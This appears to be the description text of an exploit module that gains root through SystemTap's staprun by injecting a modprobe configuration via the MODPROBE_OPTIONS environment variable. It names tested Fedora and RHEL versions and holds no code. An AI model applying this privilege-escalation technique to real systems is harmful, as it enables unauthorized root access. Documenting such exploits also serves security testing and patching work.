          This module attempts to gain root privileges by exploiting a
          vulnerability in the `staprun` executable included with SystemTap
          version 1.3.

          The `staprun` executable does not clear environment variables prior to
          executing `modprobe`, allowing an arbitrary configuration file to be
          specified in the `MODPROBE_OPTIONS` environment variable, resulting
          in arbitrary command execution with root privileges.

          This module has been tested successfully on:

          systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and
          systemtap 1.1-3.el5 on RHEL 5.5 (x64).
